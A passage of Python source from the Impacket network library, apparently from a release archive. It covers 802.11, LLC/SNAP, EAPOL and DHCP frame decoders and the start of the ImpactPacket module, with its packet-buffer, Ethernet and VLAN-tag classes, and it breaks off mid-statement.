dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK: self.ctrl_cfendcfack_decoder = Dot11ControlFrameCFEndCFACKDecoder() packet = self.ctrl_cfendcfack_decoder.decode(d.body_string) else: data_decoder = DataDecoder() packet = data_decoder.decode(d.body_string) d.contains(packet) return d class Dot11ControlFrameCTSDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ControlFrameCTS(aBuffer) self.set_decoded_protocol(p) return p class Dot11ControlFrameACKDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ControlFrameACK(aBuffer) self.set_decoded_protocol(p) return p class Dot11ControlFrameRTSDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ControlFrameRTS(aBuffer) self.set_decoded_protocol(p) return p class Dot11ControlFramePSPollDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ControlFramePSPoll(aBuffer) self.set_decoded_protocol(p) return p class Dot11ControlFrameCFEndDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ControlFrameCFEnd(aBuffer) self.set_decoded_protocol(p) return p class Dot11ControlFrameCFEndCFACKDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ControlFrameCFEndCFACK(aBuffer) self.set_decoded_protocol(p) return p class Dot11DataDecoder(BaseDot11Decoder): def __init__(self, key_manager): BaseDot11Decoder.__init__(self, key_manager) def set_dot11_hdr(self, dot11_obj): self.dot11 = dot11_obj def decode(self, aBuffer): if self.dot11.get_fromDS() and self.dot11.get_toDS(): if self.dot11.is_QoS_frame(): p = dot11.Dot11DataAddr4QoSFrame(aBuffer) else: p = dot11.Dot11DataAddr4Frame(aBuffer) elif self.dot11.is_QoS_frame(): p = dot11.Dot11DataQoSFrame(aBuffer) else: p = dot11.Dot11DataFrame(aBuffer) self.set_decoded_protocol( p ) if not self.dot11.get_protectedFrame(): self.llc_decoder = LLCDecoder() packet = self.llc_decoder.decode(p.body_string) else: if not self.dot11.get_fromDS() and self.dot11.get_toDS(): bssid = p.get_address1() elif self.dot11.get_fromDS() and not self.dot11.get_toDS(): bssid = p.get_address2() elif not self.dot11.get_fromDS() and not self.dot11.get_toDS(): bssid = p.get_address3() else: # WDS, this is the RA bssid = p.get_address1() wep_decoder = Dot11WEPDecoder(self.key_manager) wep_decoder.set_bssid(bssid) packet = wep_decoder.decode(p.body_string) if packet is None: wpa_decoder = Dot11WPADecoder() packet = wpa_decoder.decode(p.body_string) if packet is None: wpa2_decoder = Dot11WPA2Decoder() packet = wpa2_decoder.decode(p.body_string) if packet is None: data_decoder = DataDecoder() packet = data_decoder.decode(p.body_string) p.contains(packet) return p class Dot11WEPDecoder(BaseDot11Decoder): def __init__(self, key_manager): BaseDot11Decoder.__init__(self, key_manager) self.bssid = None def set_bssid(self, bssid): self.bssid = bssid def decode(self, aBuffer): wep = dot11.Dot11WEP(aBuffer) self.set_decoded_protocol( wep ) if wep.is_WEP() is False: return None key = self.find_key(self.bssid) if key: decoded_string=wep.get_decrypted_data(key) wep_data = Dot11WEPDataDecoder() packet = wep_data.decode(decoded_string) else: data_decoder = DataDecoder() packet = data_decoder.decode(wep.body_string) wep.contains(packet) return wep class Dot11WEPDataDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): wep_data = dot11.Dot11WEPData(aBuffer) if not wep_data.check_icv(): # TODO: Do something when the icv is not correct pass self.set_decoded_protocol( wep_data ) llc_decoder = LLCDecoder() packet = llc_decoder.decode(wep_data.body_string) wep_data.contains(packet) return wep_data class Dot11WPADecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer, key=None): wpa = dot11.Dot11WPA(aBuffer) self.set_decoded_protocol( wpa ) if wpa.is_WPA() is False: return None if key: decoded_string=wpa.get_decrypted_data() wpa_data = Dot11WPADataDecoder() packet = wpa_data.decode(decoded_string) else: data_decoder = DataDecoder() packet = data_decoder.decode(wpa.body_string) wpa.contains(packet) return wpa class Dot11WPADataDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): wpa_data = dot11.Dot11WPAData(aBuffer) self.set_decoded_protocol( wpa_data ) llc_decoder = LLCDecoder() packet = self.llc_decoder.decode(wpa_data.body_string) wpa_data.contains(packet) return wpa_data class Dot11WPA2Decoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer, key=None): wpa2 = dot11.Dot11WPA2(aBuffer) self.set_decoded_protocol( wpa2 ) if wpa2.is_WPA2() is False: return None if key: decoded_string=wpa2.get_decrypted_data() wpa2_data = Dot11WPA2DataDecoder() packet = wpa2_data.decode(decoded_string) else: data_decoder = DataDecoder() packet = data_decoder.decode(wpa2.body_string) wpa2.contains(packet) return wpa2 class Dot11WPA2DataDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): wpa2_data = dot11.Dot11WPA2Data(aBuffer) self.set_decoded_protocol( wpa2_data ) llc_decoder = LLCDecoder() packet = self.llc_decoder.decode(wpa2_data.body_string) wpa2_data.contains(packet) return wpa2_data class LLCDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): d = dot11.LLC(aBuffer) self.set_decoded_protocol( d ) if d.get_DSAP()==dot11.SAPTypes.SNAP: if d.get_SSAP()==dot11.SAPTypes.SNAP: if d.get_control()==dot11.LLC.DLC_UNNUMBERED_FRAMES: snap_decoder = SNAPDecoder() packet = snap_decoder.decode(d.body_string) d.contains(packet) return d # Only SNAP is implemented data_decoder = DataDecoder() packet = data_decoder.decode(d.body_string) d.contains(packet) return d class SNAPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): s = dot11.SNAP(aBuffer) self.set_decoded_protocol( s ) if s.get_OUI()==CDP.OUI and s.get_protoID()==CDP.Type: dec = CDPDecoder() packet = dec.decode(s.body_string) elif s.get_OUI()!=0x000000: # We don't know how to handle other than OUI=0x000000 (EtherType) self.data_decoder = DataDecoder() packet = self.data_decoder.decode(s.body_string) elif s.get_protoID() == ImpactPacket.IP.ethertype: self.ip_decoder = IPDecoder() packet = self.ip_decoder.decode(s.body_string) elif s.get_protoID() == ImpactPacket.ARP.ethertype: self.arp_decoder = ARPDecoder() packet = self.arp_decoder.decode(s.body_string) elif s.get_protoID() == eap.DOT1X_AUTHENTICATION: self.eapol_decoder = EAPOLDecoder() packet = self.eapol_decoder.decode(s.body_string) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(s.body_string) s.contains(packet) return s class CDPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): s = CDP(aBuffer) self.set_decoded_protocol( s ) return s class Dot11ManagementDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) self.subtype = None def set_subtype(self, subtype): self.subtype=subtype def decode(self, aBuffer): p = dot11.Dot11ManagementFrame(aBuffer) self.set_decoded_protocol( p ) if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON: self.mgt_beacon_decoder = Dot11ManagementBeaconDecoder() packet = self.mgt_beacon_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST: self.mgt_probe_request_decoder = Dot11ManagementProbeRequestDecoder() packet = self.mgt_probe_request_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE: self.mgt_probe_response_decoder = Dot11ManagementProbeResponseDecoder() packet = self.mgt_probe_response_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION: self.mgt_deauthentication_decoder = Dot11ManagementDeauthenticationDecoder() packet = self.mgt_deauthentication_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION: self.mgt_Authentication_decoder = Dot11ManagementAuthenticationDecoder() packet = self.mgt_Authentication_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION: self.mgt_disassociation_decoder = Dot11ManagementDisassociationDecoder() packet = self.mgt_disassociation_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST: self.mgt_association_request_decoder = Dot11ManagementAssociationRequestDecoder() packet = self.mgt_association_request_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE: self.mgt_association_response_decoder = Dot11ManagementAssociationResponseDecoder() packet = self.mgt_association_response_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST: self.mgt_reassociation_request_decoder = Dot11ManagementReassociationRequestDecoder() packet = self.mgt_reassociation_request_decoder.decode(p.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE: self.mgt_reassociation_response_decoder = Dot11ManagementReassociationResponseDecoder() packet = self.mgt_reassociation_response_decoder.decode(p.body_string) else: data_decoder = DataDecoder() packet = data_decoder.decode(p.body_string) p.contains(packet) return p class Dot11ManagementBeaconDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementBeacon(aBuffer) self.set_decoded_protocol( p ) return p class Dot11ManagementProbeRequestDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementProbeRequest(aBuffer) self.set_decoded_protocol( p ) return p class Dot11ManagementProbeResponseDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementProbeResponse(aBuffer) self.set_decoded_protocol( p ) return p class Dot11ManagementDeauthenticationDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementDeauthentication(aBuffer) self.set_decoded_protocol( p ) return p class Dot11ManagementAuthenticationDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementAuthentication(aBuffer) self.set_decoded_protocol(p) return p class Dot11ManagementDisassociationDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementDisassociation(aBuffer) self.set_decoded_protocol(p) return p class Dot11ManagementAssociationRequestDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementAssociationRequest(aBuffer) self.set_decoded_protocol(p) return p class Dot11ManagementAssociationResponseDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementAssociationResponse(aBuffer) self.set_decoded_protocol(p) return p class Dot11ManagementReassociationRequestDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementReassociationRequest(aBuffer) self.set_decoded_protocol(p) return p class Dot11ManagementReassociationResponseDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): p = dot11.Dot11ManagementReassociationResponse(aBuffer) self.set_decoded_protocol(p) return p class BaseDecoder(Decoder): def decode(self, buff): packet = self.klass(buff) self.set_decoded_protocol(packet) cd = self.child_decoders.get(self.child_key(packet), DataDecoder()) packet.contains(cd.decode(packet.get_body_as_string())) return packet class SimpleConfigDecoder(BaseDecoder): child_decoders = {} klass = wps.SimpleConfig child_key = lambda s,p: None def decode(self, buff): sc = BaseDecoder.decode(self, buff) ary = array.array('B', sc.child().get_packet()) sc.unlink_child() tlv = wps.SimpleConfig.build_tlv_container() tlv.from_ary(ary) sc.contains(tlv) return sc class EAPExpandedDecoder(BaseDecoder): child_decoders = { (eap.EAPExpanded.WFA_SMI, eap.EAPExpanded.SIMPLE_CONFIG): SimpleConfigDecoder(), } klass = eap.EAPExpanded child_key = lambda s,p: (p.get_vendor_id(), p.get_vendor_type()) class EAPRDecoder(BaseDecoder): child_decoders = { eap.EAPR.EXPANDED:EAPExpandedDecoder() } klass = eap.EAPR child_key = lambda s, p: p.get_type() class EAPDecoder(BaseDecoder): child_decoders = { eap.EAP.REQUEST: EAPRDecoder(), eap.EAP.RESPONSE: EAPRDecoder(), } klass = eap.EAP child_key = lambda s, p: p.get_code() class EAPOLDecoder(BaseDecoder): child_decoders = { eap.EAPOL.EAP_PACKET: EAPDecoder() } klass = eap.EAPOL child_key = lambda s, p: p.get_packet_type() class BootpDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): d = dhcp.BootpPacket(aBuffer) self.set_decoded_protocol( d ) off = len(d.getData()) if dhcp.DhcpPacket(aBuffer[off:])['cookie'] == dhcp.DhcpPacket.MAGIC_NUMBER: self.data_decoder = DHCPDecoder() packet = self.data_decoder.decode(aBuffer[off:]) d.contains(packet) return d class DHCPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): d = dhcp.DhcpPacket(aBuffer) self.set_decoded_protocol( d ) return d impacket-impacket_0_11_0/impacket/ImpactPacket.py000066400000000000000000002026311446174712300221360ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Network packet codecs basic building blocks. # Low-level packet codecs for various Internet protocols. # # Author: # Javier Burroni (javier) # Bruce Leidl (brl) # Javier Kohen (jkohen) # from __future__ import division from __future__ import print_function import array import struct import socket import string import sys from binascii import hexlify from functools import reduce # Alias function for compatibility with both Python <3.2 `tostring` and `fromstring` methods, and # Python >=3.2 `tobytes` and `tostring` if sys.version_info[0] >= 3 and sys.version_info[1] >= 2: array_tobytes = lambda array_object: array_object.tobytes() array_frombytes = lambda array_object, bytes: array_object.frombytes(bytes) else: array_tobytes = lambda array_object: array_object.tostring() array_frombytes = lambda array_object, bytes: array_object.fromstring(bytes) """Classes to build network packets programmatically. Each protocol layer is represented by an object, and these objects are hierarchically structured to form a packet. This list is traversable in both directions: from parent to child and vice versa. All objects can be turned back into a raw buffer ready to be sent over the wire (see method get_packet). """ class ImpactPacketException(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class PacketBuffer(object): """Implement the basic operations utilized to operate on a packet's raw buffer. All the packet classes derive from this one. The byte, word, long and ip_address getters and setters accept negative indexes, having these the a similar effect as in a regular Python sequence slice. """ def __init__(self, length = None): "If 'length' is specified the buffer is created with an initial size" if length: self.__bytes = array.array('B', b'\0' * length) else: self.__bytes = array.array('B') def set_bytes_from_string(self, data): "Sets the value of the packet buffer from the string 'data'" self.__bytes = array.array('B', data) def get_buffer_as_string(self): "Returns the packet buffer as a string object" return array_tobytes(self.__bytes) def get_bytes(self): "Returns the packet buffer as an array" return self.__bytes def set_bytes(self, bytes): "Set the packet buffer from an array" # Make a copy to be safe self.__bytes = array.array('B', bytes.tolist()) def set_byte(self, index, value): "Set byte at 'index' to 'value'" index = self.__validate_index(index, 1) self.__bytes[index] = value def get_byte(self, index): "Return byte at 'index'" index = self.__validate_index(index, 1) return self.__bytes[index] def set_word(self, index, value, order = '!'): "Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'." index = self.__validate_index(index, 2) ary = array.array("B", struct.pack(order + 'H', value)) if -2 == index: self.__bytes[index:] = ary else: self.__bytes[index:index+2] = ary def get_word(self, index, order = '!'): "Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'." index = self.__validate_index(index, 2) if -2 == index: bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+2] (value,) = struct.unpack(order + 'H', array_tobytes(bytes)) return value def set_long(self, index, value, order = '!'): "Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." index = self.__validate_index(index, 4) ary = array.array("B", struct.pack(order + 'L', value)) if -4 == index: self.__bytes[index:] = ary else: self.__bytes[index:index+4] = ary def get_long(self, index, order = '!'): "Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." index = self.__validate_index(index, 4) if -4 == index: bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+4] (value,) = struct.unpack(order + 'L', array_tobytes(bytes)) return value def set_long_long(self, index, value, order = '!'): "Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." index = self.__validate_index(index, 8) ary = array.array("B", struct.pack(order + 'Q', value)) if -8 == index: self.__bytes[index:] = ary else: self.__bytes[index:index+8] = ary def get_long_long(self, index, order = '!'): "Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." index = self.__validate_index(index, 8) if -8 == index: bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+8] (value,) = struct.unpack(order + 'Q', array_tobytes(bytes)) return value def get_ip_address(self, index): "Return 4-byte value at 'index' as an IP string" index = self.__validate_index(index, 4) if -4 == index: bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+4] return socket.inet_ntoa(array_tobytes(bytes)) def set_ip_address(self, index, ip_string): "Set 4-byte value at 'index' from 'ip_string'" index = self.__validate_index(index, 4) raw = socket.inet_aton(ip_string) (b1,b2,b3,b4) = struct.unpack("BBBB", raw) self.set_byte(index, b1) self.set_byte(index + 1, b2) self.set_byte(index + 2, b3) self.set_byte(index + 3, b4) def set_checksum_from_data(self, index, data): "Set 16-bit checksum at 'index' by calculating checksum of 'data'" self.set_word(index, self.compute_checksum(data)) def compute_checksum(self, anArray): "Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'" nleft = len(anArray) sum = 0 pos = 0 while nleft > 1: sum = anArray[pos] * 256 + (anArray[pos + 1] + sum) pos = pos + 2 nleft = nleft - 2 if nleft == 1: sum = sum + anArray[pos] * 256 return self.normalize_checksum(sum) def normalize_checksum(self, aValue): sum = aValue sum = (sum >> 16) + (sum & 0xFFFF) sum += (sum >> 16) sum = (~sum & 0xFFFF) return sum def __validate_index(self, index, size): """This method performs two tasks: to allocate enough space to fit the elements at positions index through index+size, and to adjust negative indexes to their absolute equivalent. """ orig_index = index curlen = len(self.__bytes) if index < 0: index = curlen + index diff = index + size - curlen if diff > 0: array_frombytes(self.__bytes, b'\0' * diff) if orig_index < 0: orig_index -= diff return orig_index class ProtocolLayer(): "Protocol Layer Manager for insertion and removal of protocol layers." __child = None __parent = None def contains(self, aHeader): "Set 'aHeader' as the child of this protocol layer" self.__child = aHeader aHeader.set_parent(self) def set_parent(self, my_parent): "Set the header 'my_parent' as the parent of this protocol layer" self.__parent = my_parent def child(self): "Return the child of this protocol layer" return self.__child def parent(self): "Return the parent of this protocol layer" return self.__parent def unlink_child(self): "Break the hierarchy parent/child child/parent" if self.__child: self.__child.set_parent(None) self.__child = None class ProtocolPacket(ProtocolLayer): __HEADER_SIZE = 0 __BODY_SIZE = 0 __TAIL_SIZE = 0 __header = None __body = None __tail = None def __init__(self, header_size, tail_size): self.__HEADER_SIZE = header_size self.__TAIL_SIZE = tail_size self.__header=PacketBuffer(self.__HEADER_SIZE) self.__body=PacketBuffer() self.__tail=PacketBuffer(self.__TAIL_SIZE) def __update_body_from_child(self): # Update child raw packet in my body if self.child(): body=self.child().get_packet() self.__BODY_SIZE=len(body) self.__body.set_bytes_from_string(body) def __get_header(self): return self.__header header = property(__get_header) def __get_body(self): self.__update_body_from_child() return self.__body body = property(__get_body) def __get_tail(self): return self.__tail tail = property(__get_tail) def get_header_size(self): "Return frame header size" return self.__HEADER_SIZE def get_tail_size(self): "Return frame tail size" return self.__TAIL_SIZE def get_body_size(self): "Return frame body size" self.__update_body_from_child() return self.__BODY_SIZE def get_size(self): "Return frame total size" return self.get_header_size()+self.get_body_size()+self.get_tail_size() def load_header(self, aBuffer): self.__HEADER_SIZE=len(aBuffer) self.__header.set_bytes_from_string(aBuffer) def load_body(self, aBuffer): "Load the packet body from string. "\ "WARNING: Using this function will break the hierarchy of preceding protocol layer" self.unlink_child() self.__BODY_SIZE=len(aBuffer) self.__body.set_bytes_from_string(aBuffer) def load_tail(self, aBuffer): self.__TAIL_SIZE=len(aBuffer) self.__tail.set_bytes_from_string(aBuffer) def __extract_header(self, aBuffer): self.load_header(aBuffer[:self.__HEADER_SIZE]) def __extract_body(self, aBuffer): if self.__TAIL_SIZE<=0: end=None else: end=-self.__TAIL_SIZE self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end]) self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end]) def __extract_tail(self, aBuffer): if self.__TAIL_SIZE<=0: # leave the array empty return else: start=-self.__TAIL_SIZE self.__tail.set_bytes_from_string(aBuffer[start:]) def load_packet(self, aBuffer): "Load the whole packet from a string" \ "WARNING: Using this function will break the hierarchy of preceding protocol layer" self.unlink_child() self.__extract_header(aBuffer) self.__extract_body(aBuffer) self.__extract_tail(aBuffer) def get_header_as_string(self): return self.__header.get_buffer_as_string() def get_body_as_string(self): self.__update_body_from_child() return self.__body.get_buffer_as_string() body_string = property(get_body_as_string) def get_tail_as_string(self): return self.__tail.get_buffer_as_string() tail_string = property(get_tail_as_string) def get_packet(self): self.__update_body_from_child() ret = b'' header = self.get_header_as_string() if header: ret += header body = self.get_body_as_string() if body: ret += body tail = self.get_tail_as_string() if tail: ret += tail return ret class Header(PacketBuffer,ProtocolLayer): "This is the base class from which all protocol definitions extend." packet_printable = [c for c in string.printable if c not in string.whitespace] + [' '] ethertype = None protocol = None def __init__(self, length = None): PacketBuffer.__init__(self, length) self.auto_checksum = 1 def get_data_as_string(self): "Returns all data from children of this header as string" if self.child(): return self.child().get_packet() else: return None def get_packet(self): """Returns the raw representation of this packet and its children as a string. The output from this method is a packet ready to be transmitted over the wire. """ self.calculate_checksum() data = self.get_data_as_string() if data: return self.get_buffer_as_string() + data else: return self.get_buffer_as_string() def get_size(self): "Return the size of this header and all of it's children" tmp_value = self.get_header_size() if self.child(): tmp_value = tmp_value + self.child().get_size() return tmp_value def calculate_checksum(self): "Calculate and set the checksum for this header" pass def get_pseudo_header(self): "Pseudo headers can be used to limit over what content will the checksums be calculated." # default implementation returns empty array return array.array('B') def load_header(self, aBuffer): "Properly set the state of this instance to reflect that of the raw packet passed as argument." self.set_bytes_from_string(aBuffer) hdr_len = self.get_header_size() if(len(aBuffer) < hdr_len): #we must do something like this diff = hdr_len - len(aBuffer) for i in range(0, diff): aBuffer += '\x00' self.set_bytes_from_string(aBuffer[:hdr_len]) def get_header_size(self): "Return the size of this header, that is, not counting neither the size of the children nor of the parents." raise RuntimeError("Method %s.get_header_size must be overridden." % self.__class__) def list_as_hex(self, aList): if len(aList): ltmp = [] line = [] count = 0 for byte in aList: if not (count % 2): if (count % 16): ltmp.append(' ') else: ltmp.append(' '*4) ltmp.append(''.join(line)) ltmp.append('\n') line = [] if chr(byte) in Header.packet_printable: line.append(chr(byte)) else: line.append('.') ltmp.append('%.2x' % byte) count += 1 if (count%16): left = 16 - (count%16) ltmp.append(' ' * (4+(left // 2) + (left*2))) ltmp.append(''.join(line)) ltmp.append('\n') return ltmp else: return [] def __str__(self): ltmp = self.list_as_hex(self.get_bytes().tolist()) if self.child(): ltmp.append(['\n', str(self.child())]) if len(ltmp)>0: return ''.join(ltmp) else: return '' class Data(Header): """This packet type can hold raw data. It's normally employed to hold a packet's innermost layer's contents in those cases for which the protocol details are unknown, and there's a copy of a valid packet available. For instance, if all that's known about a certain protocol is that a UDP packet with its contents set to "HELLO" initiate a new session, creating such packet is as simple as in the following code fragment: packet = UDP() packet.contains('HELLO') """ def __init__(self, aBuffer = None): Header.__init__(self) if aBuffer: self.set_data(aBuffer) def set_data(self, data): self.set_bytes_from_string(data) def get_size(self): return len(self.get_bytes()) class EthernetTag(PacketBuffer): """Represents a VLAN header specified in IEEE 802.1Q and 802.1ad. Provides methods for convenient manipulation with header fields.""" def __init__(self, value=0x81000000): PacketBuffer.__init__(self, 4) self.set_long(0, value) def get_tpid(self): """Returns Tag Protocol Identifier""" return self.get_word(0) def set_tpid(self, value): """Sets Tag Protocol Identifier""" return self.set_word(0, value) def get_pcp(self): """Returns Priority Code Point""" return (self.get_byte(2) & 0xE0) >> 5 def set_pcp(self, value): """Sets Priority Code Point""" orig_value = self.get_byte(2) self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5)) def get_dei(self): """Returns Drop Eligible Indicator""" return (self.get_byte(2) & 0x10) >> 4 def set_dei(self, value): """Sets Drop Eligible Indicator""" orig_value = self.get_byte(2) self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF) def get_vid(self): """Returns VLAN Identifier""" return self.get_word(2) & 0x0FFF def set_vid(self, value): """Sets VLAN Identifier""" orig_value = self.get_word(2) self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF)) def __str__(self): priorities = ( 'Best Effort', 'Background', 'Excellent Effort', 'Critical Applications', 'Video, < 100 ms latency and jitter', 'Voice, < 10 ms latency and jitter', 'Internetwork Control', 'Network Control') pcp = self.get_pcp() return '\n'.join(( '802.1Q header: 0x{0:08X}'.format(self.get_long(0)), 'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]), 'Drop Eligible Indicator: {0}'.format(self.get_dei()), 'VLAN Identifier: {0}'.format(self.get_vid()))) class Ethernet(Header): def __init__(self, aBuffer = None): Header.__init__(self, 14) self.tag_cnt = 0 if(aBuffer): self.load_header(aBuffer) def set_ether_type(self, aValue): "Set ethernet data type field to 'aValue'" self.set_word(12 + 4*self.tag_cnt, aValue) def get_ether_type(self): "Return ethernet data type field" return self.get_word(12 + 4*self.tag_cnt) def get_tag(self, index): """Returns an EthernetTag initialized from index-th VLAN tag. The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. It is possible to use negative indexes as well.""" index = self.__validate_tag_index(index) return EthernetTag(self.get_long(12+4*index)) def set_tag(self, index, tag): """Sets the index-th VLAN tag to contents of an EthernetTag object. The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. It is possible to use negative indexes as well.""" index = self.__validate_tag_index(index) pos = 12 + 4*index for i,val in enumerate(tag.get_bytes()): self.set_byte(pos+i, val) def push_tag(self, tag, index=0): """Inserts contents of an EthernetTag object before the index-th VLAN tag. Index defaults to 0 (the top of the stack).""" if index < 0: index += self.tag_cnt pos = 12 + 4*max(0, min(index, self.tag_cnt)) data = self.get_bytes() data[pos:pos] = tag.get_bytes() self.set_bytes(data) self.tag_cnt += 1 def pop_tag(self, index=0): """Removes the index-th VLAN tag and returns it as an EthernetTag object. Index defaults to 0 (the top of the stack).""" index = self.__validate_tag_index(index) pos = 12 + 4*index tag = self.get_long(pos) data = self.get_bytes() del data[pos:pos+4] self.set_bytes(data) self.tag_cnt -= 1 return EthernetTag(tag) def load_header(self, aBuffer): self.tag_cnt = 0 while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in (b'\x81\x00', b'\x88\xa8', b'\x91\x00'): self.tag_cnt += 1 hdr_len = self.get_header_size() diff = hdr_len - len(aBuffer) if diff > 0: aBuffer += b'\x00'*diff self.set_bytes_from_string(aBuffer[:hdr_len]) def get_header_size(self): "Return size of Ethernet header" return 14 + 4*self.tag_cnt def get_packet(self): if self.child(): try: self.set_ether_type(self.child().ethertype) except: " an Ethernet packet may have a Data() " pass return Header.get_packet(self) def get_ether_dhost(self): "Return 48 bit destination ethernet address as a 6 byte array" return self.get_bytes()[0:6] def set_ether_dhost(self, aValue): "Set destination ethernet address from 6 byte array 'aValue'" for i in range(0, 6): self.set_byte(i, aValue[i]) def get_ether_shost(self): "Return 48 bit source ethernet address as a 6 byte array" return self.get_bytes()[6:12] def set_ether_shost(self, aValue): "Set source ethernet address from 6 byte array 'aValue'" for i in range(0, 6): self.set_byte(i + 6, aValue[i]) @staticmethod def as_eth_addr(anArray): tmp_list = [x > 15 and '%x'%x or '0%x'%x for x in anArray] return '' + reduce(lambda x, y: x+':'+y, tmp_list) def __str__(self): tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> ' tmp_str += self.as_eth_addr(self.get_ether_dhost()) if self.child(): tmp_str += '\n' + str( self.child()) return tmp_str def __validate_tag_index(self, index): """Adjusts negative indices to their absolute equivalents. Raises IndexError when out of range <0, self.tag_cnt-1>.""" if index < 0: index += self.tag_cnt if index < 0 or index >= self.tag_cnt: raise IndexError("Tag index out of range") return index # Linux "cooked" capture encapsulation. # Used, for instance, for packets returned by the "any" interface. class LinuxSLL(Header): type_descriptions = [ "sent to us by somebody else", "broadcast by somebody else", "multicast by somebody else", "sent to somebody else to somebody else", "sent by us", ] def __init__(self, aBuffer = None): Header.__init__(self, 16) if (aBuffer): self.load_header(aBuffer) def set_type(self, type): "Sets the packet type field to type" self.set_word(0, type) def get_type(self): "Returns the packet type field" return self.get_word(0) def set_arphdr(self, value): "Sets the ARPHDR value for the link layer device type" self.set_word(2, type) def get_arphdr(self): "Returns the ARPHDR value for the link layer device type" return self.get_word(2) def set_addr_len(self, len): "Sets the length of the sender's address field to len" self.set_word(4, len) def get_addr_len(self): "Returns the length of the sender's address field" return self.get_word(4) def set_addr(self, addr): "Sets the sender's address field to addr. Addr must be at most 8-byte long." if (len(addr) 